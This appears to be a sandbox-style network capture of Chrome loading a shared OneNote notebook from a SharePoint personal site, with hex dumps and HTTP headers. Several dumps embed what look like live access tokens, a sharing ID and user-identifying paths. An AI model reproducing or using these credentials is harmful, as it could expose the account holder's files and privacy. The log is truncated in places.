2024-07-16 11:06:58 UTC	3256	IN	Data Raw: ef bb bf 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 31 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 2c 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 49 73 72 63 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 6d 64 61 74 5c 75 30 30 32 35 32 44 6d 79 5c 75 30 30 32 35 32 45 73 68 61 72 65 70 6f 69 6e 74 5c 75 30 30 32 35 32 45 63 6f 6d 5c 75 30 30 32 35 32 46 70 65 72 73 6f 6e 61 6c 5c 75 30 30 32 35 32 46 6d 61 69 5c 75 30 30 32 35 35 46 61 6d 64 5c 75 30 30 32 35 35 46 61 74 5c 75 30 30 32 35 32 46 5c Data Ascii: {"Responses":[[1,{"OperationId":1,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":"","FileId":"WOPIsrc=https\u00253A\u00252F\u00252Famdat\u00252Dmy\u00252Esharepoint\u00252Ecom\u00252Fpersonal\u00252Fmai\u00255Famd\u00255Fat\u00252F\
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 43 4a 75 61 57 6b 69 4f 69 4a 74 61 57 4e 79 62 33 4e 76 5a 6e 51 75 63 32 68 68 63 6d 56 77 62 32 6c 75 64 43 49 73 49 6d 6c 7a 64 58 4e 6c 63 69 49 36 49 6e 52 79 64 57 55 69 4c 43 4a 6a 59 57 4e 6f 5a 57 74 6c 65 53 49 36 49 6a 42 6f 4c 6d 5a 38 62 57 56 74 59 6d 56 79 63 32 68 70 63 48 78 31 63 6d 34 6c 4d 32 46 7a 63 47 38 6c 4d 32 46 68 62 6d 39 75 49 7a 45 79 59 6d 56 69 4d 7a 42 69 4d 57 46 6a 4e 44 4a 6a 4f 44 67 33 4f 47 5a 6c 5a 57 49 31 5a 6d 5a 6c 59 32 4e 6c 4d 57 4e 69 4d 54 4a 68 4d 7a 6b 77 4d 7a 6b 78 4f 47 4a 68 59 7a 42 6d 4d 6a 41 7a 4d 47 55 35 5a 57 51 7a 4d 54 4d 31 5a 57 46 6b 59 7a 63 69 4c 43 4a 7a 61 47 46 79 61 57 35 6e 61 57 51 69 4f 69 4a 77 51 56 6f 79 52 6e 4e 4d 61 46 42 56 62 58 5a 42 56 48 4e 53 5a 6e 6f 77 55 46 5a 52 Data Ascii: CJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZR
2024-07-16 11:06:58 UTC	4144	IN	Data Raw: 32 6c 75 64 43 49 73 49 6d 6c 7a 64 58 4e 6c 63 69 49 36 49 6e 52 79 64 57 55 69 4c 43 4a 6a 59 57 4e 6f 5a 57 74 6c 65 53 49 36 49 6a 42 6f 4c 6d 5a 38 62 57 56 74 59 6d 56 79 63 32 68 70 63 48 78 31 63 6d 34 6c 4d 32 46 7a 63 47 38 6c 4d 32 46 68 62 6d 39 75 49 7a 45 79 59 6d 56 69 4d 7a 42 69 4d 57 46 6a 4e 44 4a 6a 4f 44 67 33 4f 47 5a 6c 5a 57 49 31 5a 6d 5a 6c 59 32 4e 6c 4d 57 4e 69 4d 54 4a 68 4d 7a 6b 77 4d 7a 6b 78 4f 47 4a 68 59 7a 42 6d 4d 6a 41 7a 4d 47 55 35 5a 57 51 7a 4d 54 4d 31 5a 57 46 6b 59 7a 63 69 4c 43 4a 7a 61 47 46 79 61 57 35 6e 61 57 51 69 4f 69 4a 77 51 56 6f 79 52 6e 4e 4d 61 46 42 56 62 58 5a 42 56 48 4e 53 5a 6e 6f 77 55 46 5a 52 49 69 77 69 61 58 4e 73 62 32 39 77 59 6d 46 6a 61 79 49 36 49 6c 52 79 64 57 55 69 4c 43 4a 68 Data Ascii: 2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJh
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 41 7a 4c 54 41 77 4d 44 41 74 4d 47 5a 6d 4d 53 31 6a 5a 54 41 77 4c 54 41 77 4d 44 41 77 4d 44 41 77 4d 44 41 77 4d 45 41 35 4d 44 45 30 4d 44 45 79 4d 69 30 34 4e 54 45 32 4c 54 45 78 5a 54 45 74 4f 47 56 6d 5a 69 30 30 4f 54 4d 77 4e 44 6b 79 4e 44 41 78 4f 57 49 69 4c 43 4a 75 59 6d 59 69 4f 69 49 78 4e 7a 49 78 4d 54 49 34 4d 44 45 34 49 69 77 69 5a 58 68 77 49 6a 6f 69 4d 54 63 79 4d 54 45 32 4e 44 41 78 4f 43 49 73 49 6d 35 68 62 57 56 70 5a 43 49 36 49 6a 41 6a 4c 6d 5a 38 62 57 56 74 59 6d 56 79 63 32 68 70 63 48 78 31 63 6d 34 6c 4d 32 46 7a 63 47 38 6c 4d 32 46 68 62 6d 39 75 49 7a 45 79 59 6d 56 69 4d 7a 42 69 4d 57 46 6a 4e 44 4a 6a 4f 44 67 33 4f 47 5a 6c 5a 57 49 31 5a 6d 5a 6c 59 32 4e 6c 4d 57 4e 69 4d 54 4a 68 4d 7a 6b 77 4d 7a 6b 78 4f Data Ascii: AzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDE4IiwiZXhwIjoiMTcyMTE2NDAxOCIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxO
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 52 6a 77 77 6a 59 68 47 59 78 43 34 31 43 7a 49 78 5a 37 6d 53 7a 35 36 62 63 47 5c 75 30 30 32 35 32 44 30 71 71 68 62 64 5c 75 30 30 32 35 32 44 44 42 44 65 5a 74 47 48 65 4e 4c 50 79 75 76 38 45 30 76 6f 73 73 71 6d 78 39 7a 67 6a 32 4c 53 49 4c 48 51 75 46 6b 32 36 32 36 5a 4f 4c 4d 64 57 6a 47 31 6d 44 57 6d 62 32 53 41 44 43 4a 52 45 39 36 78 54 42 4c 77 47 71 50 70 41 44 36 6d 72 44 72 55 44 63 6d 39 61 38 4c 79 49 62 6a 7a 52 4d 4f 6d 58 36 59 45 6d 6f 70 4a 70 36 63 6c 5a 41 36 6b 78 44 41 56 65 77 36 5c 75 30 30 32 35 32 44 4b 37 34 58 41 5c 75 30 30 32 36 61 63 63 65 73 73 5f 74 6f 6b 65 6e 5f 74 74 6c 3d 31 37 32 31 31 36 34 30 31 38 34 31 33 22 2c 22 49 64 22 3a 22 66 34 33 66 65 62 36 64 2d 66 35 65 36 2d 34 32 62 37 2d 39 65 61 63 2d 62 39 Data Ascii: RjwwjYhGYxC41CzIxZ7mSz56bcG\u00252D0qqhbd\u00252DDBDeZtGHeNLPyuv8E0vossqmx9zgj2LSILHQuFk2626ZOLMdWjG1mDWmb2SADCJRE96xTBLwGqPpAD6mrDrUDcm9a8LyIbjzRMOmX6YEmopJp6clZA6kxDAVew6\u00252DK74XA\u0026access_token_ttl=1721164018413","Id":"f43feb6d-f5e6-42b7-9eac-b9
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 6d 61 69 5c 75 30 30 32 35 35 46 61 6d 64 5c 75 30 30 32 35 35 46 61 74 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 35 46 76 74 69 5c 75 30 30 32 35 35 46 62 69 6e 5c 75 30 30 32 35 32 46 77 6f 70 69 5c 75 30 30 32 35 32 45 61 73 68 78 5c 75 30 30 32 35 32 46 66 69 6c 65 73 5c 75 30 30 32 35 32 46 35 65 39 33 36 37 64 66 30 64 39 35 34 65 62 36 62 64 64 62 34 39 61 65 35 61 38 65 38 36 61 35 5c 75 30 30 32 36 61 63 63 65 73 73 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 41 69 4f 69 4a 4b 56 31 51 69 4c 43 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 49 73 49 6e 67 31 64 43 49 36 49 6b 52 68 52 45 46 6d 61 6c 46 52 62 58 42 35 54 31 68 34 4d 6c 4a 79 53 31 39 58 4e 57 78 32 62 30 78 61 4e 43 4a 39 5c 75 30 30 32 35 32 45 65 79 4a 68 64 57 51 69 4f 69 4a 33 62 Data Ascii: mai\u00255Famd\u00255Fat\u00252F\u00255Fvti\u00255Fbin\u00252Fwopi\u00252Eashx\u00252Ffiles\u00252F5e9367df0d954eb6bddb49ae5a8e86a5\u0026access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9\u00252EeyJhdWQiOiJ3b
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 32 39 77 59 6d 46 6a 61 79 49 36 49 6c 52 79 64 57 55 69 4c 43 4a 68 63 48 42 6a 64 48 67 69 4f 69 49 31 5a 54 6b 7a 4e 6a 64 6b 5a 6a 42 6b 4f 54 55 30 5a 57 49 32 59 6d 52 6b 59 6a 51 35 59 57 55 31 59 54 68 6c 4f 44 5a 68 4e 54 74 4e 54 55 6c 76 5a 46 52 31 61 7a 4a 34 57 6e 41 30 55 30 78 53 4d 6c 4a 55 4e 33 46 50 52 33 45 7a 62 45 30 39 4f 30 52 6c 5a 6d 46 31 62 48 51 37 5a 6d 4d 79 59 32 45 34 4d 7a 4a 6c 4e 32 56 69 4e 47 49 77 5a 47 4a 68 4d 7a 4d 33 59 57 46 6a 59 32 59 77 5a 54 59 31 4d 32 55 37 4f 31 52 79 64 57 55 37 4f 7a 73 78 4d 7a 49 33 4e 6a 67 30 4f 7a 59 7a 5a 44 59 7a 59 32 45 78 4c 57 59 77 4f 57 45 74 4f 54 41 77 4d 43 30 7a 5a 47 4e 6b 4c 57 51 33 4e 7a 67 33 4e 44 45 7a 4f 47 52 6a 4f 43 49 73 49 6d 5a 70 5a 43 49 36 49 6a 45 34 Data Ascii: 29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZTkzNjdkZjBkOTU0ZWI2YmRkYjQ5YWU1YThlODZhNTtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7ZmMyY2E4MzJlN2ViNGIwZGJhMzM3YWFjY2YwZTY1M2U7O1RydWU7OzsxMzI3Njg0OzYzZDYzY2ExLWYwOWEtOTAwMC0zZGNkLWQ3Nzg3NDEzOGRjOCIsImZpZCI6IjE4
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 7d 7b 31 7d 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 32 38 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 65 35 62 32 31 33 30 36 2d 61 39 64 32 2d 34 35 37 63 2d 61 63 30 35 2d 36 36 33 62 38 61 64 65 30 37 39 35 7c 31 31 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 32 30 31 33 33 33 37 36 33 2c 22 31 22 2c 32 30 31 33 33 33 37 37 39 2c 22 30 22 2c 33 33 35 35 35 31 35 30 38 2c 22 31 39 2e 34 37 39 31 36 36 22 2c 33 33 35 35 35 31 35 30 39 2c 22 34 2e 36 36 36 36 36 36 35 31 22 2c 33 33 35 35 35 31 35 31 35 2c 22 31 33 22 2c 33 33 35 35 35 31 36 32 30 2c 22 39 22 2c 33 33 35 35 35 31 38 36 36 2c 22 31 37 32 31 30 35 37 39 35 32 30 30 30 22 2c 34 36 39 37 36 39 32 33 34 2c 22 30 2e 35 2c 30 2c 30 2e 37 35 2c 30 2e 37 35 22 2c 36 30 33 39 38 36 Data Ascii: }{1}"]},{"ClassId":393228,"ObjectId":"e5b21306-a9d2-457c-ac05-663b8ade0795\|11","Properties":[201333763,"1",201333779,"0",335551508,"19.479166",335551509,"4.66666651",335551515,"13",335551620,"9",335551866,"1721057952000",469769234,"0.5,0,0.75,0.75",603986
2024-07-16 11:06:58 UTC	8192	IN	Data Raw: 31 35 30 30 2c 22 36 37 31 30 38 38 36 22 2c 33 33 35 35 35 37 36 37 38 2c 22 30 22 2c 33 33 35 35 35 37 36 37 39 2c 22 30 22 2c 34 36 39 37 36 39 32 32 36 2c 22 43 61 6c 69 62 72 69 22 2c 34 36 39 37 37 35 34 35 30 2c 22 50 61 67 65 44 61 74 65 54 69 6d 65 22 5d 7d 2c 7b 22 43 6c 61 73 73 49 64 22 3a 33 39 33 32 33 30 2c 22 4f 62 6a 65 63 74 49 64 22 3a 22 66 34 33 66 65 62 36 64 2d 66 35 65 36 2d 34 32 62 37 2d 39 65 61 63 2d 62 39 65 63 32 30 39 63 36 38 34 32 7c 33 37 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 31 33 34 32 32 34 38 39 36 2c 22 74 72 75 65 22 2c 31 33 34 32 32 35 30 33 32 2c 22 74 72 75 65 22 2c 31 33 34 32 32 35 30 37 37 2c 22 74 72 75 65 22 2c 31 33 34 32 32 35 31 31 38 2c 22 74 72 75 65 22 2c 31 33 34 32 32 35 31 36 34 2c 22 74 Data Ascii: 1500,"6710886",335557678,"0",335557679,"0",469769226,"Calibri",469775450,"PageDateTime"]},{"ClassId":393230,"ObjectId":"f43feb6d-f5e6-42b7-9eac-b9ec209c6842\|37","Properties":[134224896,"true",134225032,"true",134225077,"true",134225118,"true",134225164,"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49758	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:59 UTC	452	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:59 UTC	4431	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c5374b2f-fb7c-4337-88db-b08958e047b1 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017830 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017830 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: C0592B26FE264B1693D416C258A1B1E1 Ref B: BL2AA2010205031 Ref C: 2024-07-16T11:06:59Z Date: Tue, 16 Jul 2024 11:06:58 GMT Connection: close
2024-07-16 11:06:59 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49764	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:59 UTC	2512	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":2,"MsSinceStart":3407,"Value":"Get cells response received:200","Type":"BootLogs"},{"Index":3,"MsSinceStart":3407,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-07-16 11:06:59 UTC	1566	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e082cf8a-3deb-4bde-8cad-c0ec9e52433e X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783B X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://euc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5d&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF0001783B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 461FC5AC24C94AF09BB1EF8DDB0874B0 Ref B: EWR311000107037 Ref C: 2024-07-16T11:06:59Z Date: Tue, 16 Jul 2024 11:06:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49765	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:06:59 UTC	369	OUT	GET /o/OneNote.ashx HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:06:59 UTC	1091	IN	HTTP/1.1 503 Service Unavailable Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: bb4f545d-6427-45b4-ae4b-bc3fb257c4ba X-UserSessionId: bb4f545d-6427-45b4-ae4b-bc3fb257c4ba Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011817 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011817 X-WacFrontEnd: DB5PEPF00011817 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_onenoteslice_control,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 341E8BF78CCB4271A3BDE46F8BCBC127 Ref B: BL2AA2030103049 Ref C: 2024-07-16T11:06:59Z Date: Tue, 16 Jul 2024 11:06:58 GMT Connection: close
2024-07-16 11:06:59 UTC	33	IN	Data Raw: 31 62 0d 0a 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 1bThe service is unavailable.
2024-07-16 11:06:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49769	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:00 UTC	2625	OUT	POST /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":3,"MsSinceStart":3410,"Value":"Launching FastView from entry point WacBootGetCells","Type":"BootLogs"},{"Index":4,"MsSinceStart":3416,"Value":"RecordContentDisplayed","Type":"BootPhaseCompleted"},{"Index":5,"MsSinceStart":4150,"Value":"https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 